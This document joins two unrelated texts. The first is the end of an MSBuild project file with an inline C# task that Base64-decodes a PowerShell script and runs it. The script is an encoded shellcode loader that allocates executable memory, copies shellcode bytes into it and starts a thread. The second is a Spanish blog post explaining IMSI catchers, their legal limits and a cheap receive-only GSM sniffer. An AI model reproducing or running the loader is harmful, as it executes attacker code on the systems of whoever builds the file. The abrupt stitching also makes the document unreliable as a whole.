Zwcmd1TkYgKz0gMHgwLDB4MTEsMHg1YywweDg5LDB4ZTYsMHg1MCwweDUwLDB4NTAsMHg1MCwweDQwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NDAsMHg1MCwweDY4LDB4ZWEsMHhmLDB4ZGYsMHhlMCwweGZmLDB4ZDUNCiRQZHNOSUZ2cHJndU5GICs9IDB4OTcsMHg2YSwweDEwLDB4NTYsMHg1NywweDY4LDB4OTksMHhhNSwweDc0LDB4NjENCiRQZHNOSUZ2cHJndU5GICs9IDB4ZmYsMHhkNSwweDg1LDB4YzAsMHg3NCwweGEsMHhmZiwweDRlLDB4OCwweDc1DQokUGRzTklGdnByZ3VORiArPSAweGVjLDB4ZTgsMHg2MSwweDAsMHgwLDB4MCwweDZhLDB4MCwweDZhLDB4NA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1NiwweDU3LDB4NjgsMHgyLDB4ZDksMHhjOCwweDVmLDB4ZmYsMHhkNSwweDgzDQokUGRzTklGdnByZ3VORiArPSAweGY4LDB4MCwweDdlLDB4MzYsMHg4YiwweDM2LDB4NmEsMHg0MCwweDY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHgxMCwweDAsMHgwLDB4NTYsMHg2YSwweDAsMHg2OCwweDU4LDB4YTQsMHg1Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHhlNSwweGZmLDB4ZDUsMHg5MywweDUzLDB4NmEsMHgwLDB4NTYsMHg1MywweDU3DQokUGRzTklGdnByZ3VORiArPSAweDY4LDB4MiwweGQ5LDB4YzgsMHg1ZiwweGZmLDB4ZDUsMHg4MywweGY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweDIyLDB4NTgsMHg2OCwweDAsMHg0MCwweDAsMHgwLDB4NmEsMHgwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NjgsMHhiLDB4MmYsMHhmLDB4MzAsMHhmZiwweGQ1LDB4NTcsMHg2OA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3NSwweDZlLDB4NGQsMHg2MSwweGZmLDB4ZDUsMHg1ZSwweDVlLDB4ZmYsMHhjDQokUGRzTklGdnByZ3VORiArPSAweDI0LDB4ZTksMHg3MSwweGZmLDB4ZmYsMHhmZiwweDEsMHhjMywweDI5LDB4YzYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NzUsMHhjNywweGMzLDB4YmIsMHhmMCwweGI1LDB4YTIsMHg1NiwweDZhLDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1MywweGZmLDB4ZDUNCg0KDQokSXZMcnZSakh1QlVEID0gJEpteUN3a1FremFOcGY6OlZpcnR1YWxBbGxvYygwLFtNYXRoXTo6TWF4KCRQZHNOSUZ2cHJndU5GLkxlbmd0aCwweDEwMDApLDB4MzAwMCwweDQwKQ0KDQpmb3IgKCRRUVJPRFZSWG5wZz0wOyRRUVJPRFZSWG5wZyAtbGUgKCRQZHNOSUZ2cHJndU5GLkxlbmd0aC0xKTskUVFST0RWUlhucGcrKykgew0KICAkSm15Q3drUWt6YU5wZjo6bWVtc2V0KFtJbnRQdHJdKCRJdkxydlJqSHVCVUQuVG9JbnQzMigpKyRRUVJPRFZSWG5wZyksICRQZHNOSUZ2cHJndU5GWyRRUVJPRFZSWG5wZ10sIDEpIHwgT3V0LU51bGwNCn0NCg0KJEpteUN3a1FremFOcGY6OkNyZWF0ZVRocmVhZCgwLDAsJEl2THJ2UmpIdUJVRCwwLDAsMCkNCmZvciAoOzspewogIFN0YXJ0LXNsZWVwIDYwCn0=";
              
                PowerShell ps = PowerShell.Create();
                ps.AddScript(Base64Decode(cmd));

                Collection<PSObject> output = null;
                try
                {
                    output = ps.Invoke();
                }
                catch(Exception e)
                {
                    Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
                }
                if (output != null)
                {
                    foreach (PSObject rtnItem in output)
                    {
                        Console.WriteLine(rtnItem.ToString());
                    }
                }
                return true;
            }

            public static string Base64Encode(string text) {
           return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
        }

        public static string Base64Decode(string encodedtext) {
            return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
        }
        }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Cómo hacerte un IMSI Catcher sencillo por sólo 11€

Recientemente veía un tweet de nuestro antiguo compi Sebas (@0xroot) con un enlace a un vídeo de Keld Norman: How to make a simple $7 IMSI Catcher.
Para quien no lo sepa, un IMSI Catcher o stingray es básicamente un dispositivo que se hace pasar por la antena de un operador de telefonía móvil. Podríamos decir que se trata de estaciones base falsas que permiten hacer un MiTM a un móvil con todo lo que eso conlleva: pueden obtener el identificador global o IMSI (Identidad Internacional del Suscriptor de Móvil) pero también disminuir o incrementar la potencia de transmisión del teléfono, acceder a sus metadatos y claves de cifrado, geolocalizarlo e incluso escribir protocolos sobre la memoria del dispositivo.

Seguro que habréis visto en mil y una películas cuando la policía o el servicio de inteligencia de turno utiliza una furgoneta para hacer el seguimiento y/o interceptar las comunicaciones del móvil de un sospechoso: suele tratarse de un IMSI Catcher y en España y en más de medio mundo su uso está regulado y permitido sólo a las fuerzas de seguridad del estado y (creo) que con orden judicial. Así que, al menos que vivas en un país que todavía no tenga un marco regulatorio definido o trabajes para un cuerpo con autorización, usar un IMSI catcher es ilegal.

Sin duda una verdadera lástima porque cada vez es más asequible adquirir uno hasta llegar al punto de que hoy en día prácticamente está al alcance de cualquier bolsillo. Por ejemplo, es posible hacerte un maletín de escucha por menos de 300€ comprando los componentes en China, e incluso existen equipos profesionales ya terminados por alrededor de los 1800€.

No obstante, el vídeo de Keld Norman que traemos en este post muestra un receptor TDT/DVB-T (Rtl2832u + R820t), es decir, no puede transmitir y por lo tanto más un IMSI Catcher al uso, como una estación base falsa que realiza un MiTM, estaríamos hablando de algo parecido a un sniffer en GSM, que por menos 15€ tampoco está nada mal:

Vídeo